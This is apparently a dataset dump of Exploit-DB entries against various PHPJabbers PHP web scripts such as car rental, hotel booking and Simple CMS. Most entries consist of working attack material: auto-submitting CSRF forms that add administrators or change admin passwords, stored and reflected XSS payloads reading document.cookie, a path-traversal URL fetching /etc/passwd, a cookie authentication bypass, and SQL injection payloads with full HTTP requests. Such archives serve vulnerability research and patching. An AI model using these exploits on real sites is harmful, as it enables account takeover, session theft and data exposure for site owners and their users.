deardaniel/secdata-raw huggingface dataset:
Exploit-DB #30912
Description: PHPJabbers Car Rental Script - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-01-14
Author: HackXBack

Exploit:
Car Rental Script - Multiple Vulnerabilities
====================================================================

####################################################################
.:. Author         : HackXBack
.:. Contact        : h-b@usa.com
.:. Home           : http://www.iphobos.com/blog/
.:. Script         : http://www.phpjabbers.com/car-rental/
####################################################################

===[ Exploit ]===

[1] Multiple Cross Site Scripting
=================================

I. Persistent XSS

# CSRF with XSS Exploit:


<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="
http://SITE/index.php?controller=AdminExtras&action=create">
<input type="hidden" name="extra_create" value="1"/>
<input type="hidden" name="i18n[1][name]"
value="<script>alert(document.cookie);</script>"/>
<input type="hidden" name="i18n[2][name]" value=""/>
<input type="hidden" name="i18n[3][name]" value=""/>
<input type="hidden" name="price" value="1000$"/>
<input type="hidden" name="per" value="booking"/>
<input type="hidden" name="count" value="1000$"/>
</form>
</body>
</html>


II. Non-Persistent XSS

www.site.com/index.php?controller=AdminBookings&action=index&p_date=XSS

www.site.com/index.php?controller=AdminBookings&action=index&p_date=
"><script>alert(document.cookie);</script>"/>



[2] Cross Site Request Forgery
===============================

[Change Username/Password Admin]

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="
http://site/index.php?controller=AdminOptions&action=update">
<input type="hidden" name="options_update" value="1"/>
<input type="hidden" name="tab" value="1"/>
<input type="hidden" name="username" value="admin"/>
<input type="hidden" name="password" value="password"/>
<input type="hidden" name="value-enum-currency" value="USD|GBP|EUR::USD"/>
<input type="hidden" name="value-enum-date_format"
value="d.m.Y|m.d.Y|Y.m.d|j.n.Y|n.j.Y|Y.n.j|d/m/Y|m/d/Y|Y/m/d|j/n/Y|n/j/Y|Y/n/j|d-m-Y|m-d-Y|Y-m-d|j-n-Y|n-j-Y|Y-n-j::j/n/Y"/>
<input type="hidden" name="value-enum-datetime_format" value="d.m.Y,
H:i|d.m.Y, H:i:s|m.d.Y, H:i|m.d.Y, H:i:s|Y.m.d, H:i|Y.m.d, H:i:s|j.n.Y,
H:i|j.n.Y, H:i:s|n.j.Y, H:i|n.j.Y, H:i:s|Y.n.j, H:i|Y.n.j, H:i:s|d/m/Y,
H:i|d/m/Y, H:i:s|m/d/Y, H:i|m/d/Y, H:i:s|Y/m/d, H:i|Y/m/d, H:i:s|j/n/Y,
H:i|j/n/Y, H:i:s|n/j/Y, H:i|n/j/Y, H:i:s|Y/n/j, H:i|Y/n/j, H:i:s|d-m-Y,
H:i|d-m-Y, H:i:s|m-d-Y, H:i|m-d-Y, H:i:s|Y-m-d, H:i|Y-m-d, H:i:s|j-n-Y,
H:i|j-n-Y, H:i:s|n-j-Y, H:i|n-j-Y, H:i:s|Y-n-j, H:i|Y-n-j, H:i:s::j/n/Y,
H:i"/>
<input type="hidden" name="value-enum-timezone"
value="-43200|-39600|-36000|-32400|-28800|-25200|-21600|-18000|-14400|-10800|-7200|-3600|0|3600|7200|10800|14400|18000|21600|25200|28800|32400|36000|39600|43200|46800::0"/>
</form>

</body>
</html>
####################################################################
Exploit-DB #51651
Description: PHPJabbers Cleaning Business 1.0 - Reflected XSS
Type: webapps
Platform: php
Date: 2023-08-04
Author: CraCkEr

Exploit:
# Exploit Title: PHPJabbers Cleaning Business 1.0 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 21/07/2023
# Vendor: PHPJabbers
# Vendor Homepage: https://www.phpjabbers.com/
# Software Link: https://www.phpjabbers.com/cleaning-business-software/
# Version: 1.0
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site
# CVE: CVE-2023-4115


## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials



Path: /index.php

GET parameter 'index' is vulnerable to RXSS

https://website/index.php?controller=pjFront&action=pjActionServices&locale=1&index=[XSS]

[-] Done
Exploit-DB #30954
Description: PHPJabbers Hotel Booking System 3.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-01-15
Author: HackXBack

Exploit:
Hotel Booking System V3.0 - Multiple Vulnerabilties
====================================================================

####################################################################
.:. Author         : HackXBack
.:. Contact        : h-b@usa.com
.:. Home           : http://www.iphobos.com/blog/
.:. Script         : http://www.phpjabbers.com/hotels-booking-system/
####################################################################

===[ Exploit ]===

[1] Cross Site Request Forgery
==============================

[Add Admin]

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="
http://site/index.php?controller=pjAdminUsers&action=pjActionCreate">
<input type="hidden" name="user_create" value="1"/>
<input type="hidden" name="role_id" value="1"/>
<input type="hidden" name="email" value="Email@hotmail.com"/>
<input type="hidden" name="password" value="123456"/>
<input type="hidden" name="name" value="Iphobos"/>
<input type="hidden" name="status" value="T"/>
</form>
</body>
</html

[2] Cross Site Scripting
========================

# CSRF with XSS Exploit:


<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0"
action="site/index.php?controller=pjAdminRooms&action=pjActionCreate">
<input type="hidden" name="room_create" value="1"/>
<input type="hidden" name="i18n[1][name]"
value="<script>alert(document.cookie);</script>"/>
<input type="hidden" name="i18n[3][name]" value=""/>
<input type="hidden" name="i18n[2][name]" value=""/>
<input type="hidden" name="i18n[1][description]" value="Iphobos"/>
<input type="hidden" name="i18n[3][description]" value=""/>
<input type="hidden" name="i18n[2][description]" value=""/>
<input type="hidden" name="adults" value="1"/>
<input type="hidden" name="children" value="0"/>
<input type="hidden" name="cnt" value="1"/>
</form>
</body>
</html>


[3] Local File disclure
========================

http://site/index.php?controller=pjBackup&action=pjActionDownload&id=../../../../../../../../etc/passwd

####################################################################
Exploit-DB #30910
Description: PHPJabbers Job Listing Script - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-01-14
Author: HackXBack

Exploit:
Job Listing Script - Multiple Vulnerabilties
====================================================================

####################################################################
.:. Author         : HackXBack
.:. Contact        : h-b@usa.com
.:. Home           : http://www.iphobos.com/blog/
.:. Script         : http://www.phpjabbers.com/preview/job-listing-script/
####################################################################

===[ Exploit ]===

[1] Cross Site Request Forgery
==============================

[Change Username/Password Admin]

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="
http://site/index.php?controller=AdminOptions&action=update">
<input type="hidden" name="options_update" value="1"/>
<input type="hidden" name="username" value="admin"/>
<input type="hidden" name="password" value="password"/>
<input type="hidden" name="value-enum-9" value="Yes|No::Yes"/>
<input type="hidden" name="value-enum-8" value="Yes|No::Yes"/>
<input type="hidden" name="value-enum-7"
value="d.m.Y|m.d.Y|Y.m.d|j.n.Y|n.j.Y|Y.n.j|d/m/Y|m/d/Y|Y/m/d|j/n/Y|n/j/Y|Y/n/j|d-m-Y|m-d-Y|Y-m-d|j-n-Y|n-j-Y|Y-n-j::d.m.Y"/>
<input type="hidden" name="value-enum-6" value="Yes|No::Yes"/>
<input type="hidden" name="value-int-5" value="5"/>
<input type="hidden" name="value-string-4" value="http://www.example.com"/>
<input type="hidden" name="value-enum-3" value="Yes|No::Yes"/>
<input type="hidden" name="value-string-2" value="email@domain.com"/>
<input type="hidden" name="value-int-1" value="10"/>
</form>

</body>
</html>

[2] Multiple Cross Site Scripting
==================================

# CSRF with XSS Exploit:

I. Xss In Categories

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="
http://site/index.php?controller=AdminCategories&action=create">
<input type="hidden" name="category_create" value="Iphobos Blog"/>
<input type="hidden" name="category_title"
value="<script>alert(document.cookie);</script>"/>
</form>
</body>
</html>

II. Xss In Type

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="
http://site/index.php?controller=AdminTypes&action=create">
<input type="hidden" name="type_create" value="Iphobos Blog"/>
<input type="hidden" name="type_title"
value="<script>alert(document.cookie);</script>"/>
</form>
</body>
</html>

III. Xss In Country

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="
http://site/index.php?controller=AdminCountries&action=create">
<input type="hidden" name="country_create" value="Iphobos Blog"/>
<input type="hidden" name="country_title"
value="<script>alert(document.cookie);</script>"/>
</form>
</body>
</html>
####################################################################
Exploit-DB #51650
Description: PHPJabbers Night Club Booking 1.0 - Reflected XSS
Type: webapps
Platform: php
Date: 2023-08-04
Author: CraCkEr

Exploit:
# Exploit Title: PHPJabbers Night Club Booking 1.0 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 21/07/2023
# Vendor: PHPJabbers
# Vendor Homepage: https://www.phpjabbers.com/
# Software Link: https://www.phpjabbers.com/night-club-booking-software/
# Version: 1.0
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site
# CVE: CVE-2023-4114


## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials



Path: /index.php

GET parameter 'index' is vulnerable to RXSS

https://website/index.php?controller=pjFront&action=pjActionSearch&session_id=&locale=1&index=[XSS]&date=
Exploit-DB #30950
Description: PHPJabbers Pet Listing Script 1.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-01-15
Author: HackXBack

Exploit:
Pet Listing Script V1.0 - Multiple Vulnerabilities
====================================================================

####################################################################
.:. Author         : HackXBack
.:. Contact        : h-b@usa.com
.:. Home           : http://www.iphobos.com/blog/
.:. Script         : http://www.phpjabbers.com/pet-listing-script/
####################################################################

===[ Exploit ]===

[1] Cross Site Request Forgery
==============================

[Add Admin]

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="
http://site/index.php?controller=AdminUsers&action=create">
<input type="hidden" name="user_create" value="1"/>
<input type="hidden" name="role_id" value="1"/>
<input type="hidden" name="username" value="Admin"/>
<input type="hidden" name="password" value="Password"/>
<input type="hidden" name="status" value="T"/>
</form>
</body>
</html>

[2] Multiple Cross Site Scripting
==================================

# CSRF with XSS Exploit:

I. Xss In Type

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="
http://site/index.php?controller=AdminTypes&action=create">
<input type="hidden" name="type_create" value="1"/>
<input type="hidden" name="type_title"
value="<script>alert(document.cookie);</script>"/>
</form>
</body>
</html>

II. Xss In Breed

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="
http://site/index.php?controller=AdminBreeds&action=create">
<input type="hidden" name="breed_create" value="1"/>
<input type="hidden" name="breed_title"
value="<script>alert(document.cookie);</script>"/>
<input type="hidden" name="type_id" value="2"/>
</form>
</body>
</html>

III. Xss In Extra

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="
http://site/index.php?controller=AdminExtras&action=create">
<input type="hidden" name="extra_create" value="1"/>
<input type="hidden" name="extra_title"
value="<script>alert(document.cookie);</script>"/>
</form>
</body>
</html>
####################################################################
Exploit-DB #32441
Description: PHPJabbers Post Comments 3.0 - Cookie Authentication Bypass
Type: webapps
Platform: php
Date: 2008-09-29
Author: Crackers_Child

Exploit:
source: https://www.securityfocus.com/bid/31467/info

PHPJabbers Post Comments is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.

An attacker can exploit this vulnerability to gain administrative access to the affected application; other attacks are also possible.

PHPJabbers Post Comments 3.0 is vulnerable; other versions may also be affected. 

javascript:document.cookie = "PostCommentsAdmin=logged; path=/
Exploit-DB #30952
Description: PHPJabbers Property Listing Script 2.0 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2014-01-15
Author: HackXBack

Exploit:
Property Listing Script V2.0 - Add Admin CSRF Vulnerability
====================================================================

####################################################################
.:. Author         : HackXBack
.:. Contact        : h-b@usa.com
.:. Home           : http://www.iphobos.com/blog/
.:. Script         : http://www.phpjabbers.com/property-listing-script/
####################################################################

===[ Exploit ]===

Cross Site Request Forgery
==========================

[Add Admin]

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="
http://site/index.php?controller=AdminUsers&action=create"
enctype="multipart/form-data">
<input type="hidden" name="user_create" value="1" />
<input type="hidden" name="full_name" value="Iphobos" />
<input type="hidden" name="username" value="Admin" />
<input type="hidden" name="password" value="Password" />
<input type="hidden" name="status" value="T" />
<input type="hidden" name="role_id" value="1" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>

####################################################################
Exploit-DB #51653
Description: PHPJabbers Rental Property Booking 2.0 - Reflected XSS
Type: webapps
Platform: php
Date: 2023-08-04
Author: CraCkEr

Exploit:
# Exploit Title: PHPJabbers Rental Property Booking 2.0 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 22/07/2023
# Vendor: PHPJabbers
# Vendor Homepage: https://www.phpjabbers.com/
# Software Link: https://www.phpjabbers.com/rental-property-booking-calendar/
# Version: 2.0
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site
# CVE: CVE-2023-4117


## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials



Path: /index.php

GET parameter 'index' is vulnerable to RXSS

https://website/index.php?controller=pjFront&action=pjActionSearch&session_id=&locale=1&index=[XSS]&date=


[-] Done
Exploit-DB #51649
Description: PHPJabbers Service Booking Script 1.0 - Reflected XSS
Type: webapps
Platform: php
Date: 2023-08-04
Author: CraCkEr

Exploit:
# Exploit Title: PHPJabbers Service Booking Script 1.0 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 21/07/2023
# Vendor: PHPJabbers
# Vendor Homepage: https://www.phpjabbers.com/
# Software Link: https://www.phpjabbers.com/service-booking-script/
# Version: 1.0
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site
# CVE: CVE-2023-4113


## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials



Path: /index.php

GET parameter 'index' is vulnerable to RXSS

https://website/index.php?controller=pjFrontPublic&action=pjActionServices&locale=1&index=[XSS]
Exploit-DB #51648
Description: PHPJabbers Shuttle Booking Software 1.0 - Reflected XSS
Type: webapps
Platform: php
Date: 2023-08-04
Author: CraCkEr

Exploit:
# Exploit Title: PHPJabbers Shuttle Booking Software 1.0 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 20/07/2023
# Vendor: PHPJabbers
# Vendor Homepage: https://www.phpjabbers.com/
# Software Link: https://www.phpjabbers.com/shuttle-booking-software/
# Version: 1.0
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site
# CVE: CVE-2023-4112


## Description

The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials



Path: /index.php

URL parameter is vulnerable to RXSS

https://website/index.php/gm5rj"><script>alert(1)</script>bwude?controller=pjAdmin&action=pjActionLogin&err=1
Exploit-DB #51416
Description: PHPJabbers Simple CMS 5.0 - SQL Injection
Type: webapps
Platform: php
Date: 2023-05-02
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: PHPJabbers Simple CMS 5.0 - SQL Injection
# Date: 2023-04-29
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://www.phpjabbers.com/faq.php
# Software Link: https://www.phpjabbers.com/simple-cms/
# Version: 5.0
# Tested on: Kali Linux

### Request ###

GET
/simplecms/index.php?action=pjActionGetFile&column=created&controller=pjAdminFiles&direction=DESC&page=0&rowCount=10
HTTP/1.1
Accept: */*
x-requested-with: XMLHttpRequest
Referer: https://localhost/simplecms/preview.php?lid=1
Cookie: simpleCMS=lhfh97t17ahm8m375r3upfa844;
_fbp=fb.[PII_REDACTED][PII_REDACTED]6; pjd=2rnbhrurbqjsuajj7pnffh2292;
pjd_simplecms=1; last_position=%2F
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Host: localhost
Connection: Keep-alive

### Parameter & Payloads ###

Parameter: column (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: action=pjActionGetFile&column=(SELECT (CASE WHEN (9869=9869)
THEN 2 ELSE (SELECT 2339 UNION SELECT 4063)
END))&controller=pjAdminFiles&direction=DESC&page=0&rowCount=10

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (EXTRACTVALUE)
    Payload: action=pjActionGetFile&column=2 AND
EXTRACTVALUE(2212,CONCAT(0x5c,0x716b766271,(SELECT
(ELT(2212=2212,1))),0x716b707671))&controller=pjAdminFiles&direction=DESC&page=0&rowCount=10
Exploit-DB #51415
Description: PHPJabbers Simple CMS V5.0 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-05-02
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: PHPJabbers Simple CMS V5.0 - Stored Cross-Site Scripting (XSS)
# Date: 2023-04-29
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://www.phpjabbers.com/faq.php
# Software Link: https://www.phpjabbers.com/simple-cms/
# Version: 5.0
# Tested on: Kali Linux

### Steps to Reproduce ###

- Please login from this address:
https://localhost/simplecms/index.php?controller=pjAdmin&action=pjActionLogin
- Click on the "Add Section" button.
- Then enter the payload ("><img src=x onerror=alert("Stored")>) in the
"Section" box and save it.
- Boom! An alert message saying "Stored" will appear in front of you.

### PoC Request ###

POST /simplecms/index.php?controller=pjAdminSections&action=pjActionCreate
HTTP/1.1
Host: localhost
Cookie: pj_sid=PJ1.0[PII_REDACTED][PII_REDACTED];
pj_so=PJ1.0[PII_REDACTED][PII_REDACTED]; pjd_[PII_REDACTED]_628=1;
PHPSESSID=bmannt0kqjm2m0vmb5vj1dbu57; simpleCMS=ejrnh4bmb0ems1j4e4r9fq4eq1;
pjd=7l9bb4ubmknrdbns46j7g5cqn7
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101
Firefox/102.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 371
Origin: https://localhost
Referer:
https://localhost/simplecms/index.php?controller=pjAdminSections&action=pjActionCreate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

section_create=1&i18n%5B1%5D%5Bsection_name%5D=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28%22Stored%22%29%3E&i18n%5B2%5D%5Bsection_name%5D=&i18n%5B3%5D%5Bsection_name%5D=&i18n%5B1%5D%5Bsection_content%5D=%3Cp%3E%22%26gt%3B%26lt%3Bimg+src%3Dx+onerror%3Dalert%28%22Stored%22%29%26gt%3B%3C%2Fp%3E&i18n%5B2%5D%5Bsection_content%5D=&i18n%5B3%5D%5Bsection_content%5D=&url=&status=T
Exploit-DB #51652
Description: PHPJabbers Taxi Booking 2.0 - Reflected XSS
Type: webapps
Platform: php
Date: 2023-08-04
Author: CraCkEr

Exploit:
# Exploit Title: PHPJabbers Taxi Booking 2.0 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 22/07/2023
# Vendor: PHPJabbers
# Vendor Homepage: https://www.phpjabbers.com/
# Software Link: https://www.phpjabbers.com/taxi-booking-script/
# Version: 2.0
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site
# CVE: CVE-2023-4116


## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials



Path: /index.php

GET parameter 'index' is vulnerable to RXSS

https://website/index.php?controller=pjFrontPublic&action=pjActionSearch&locale=1&index=[XSS]


[-] Done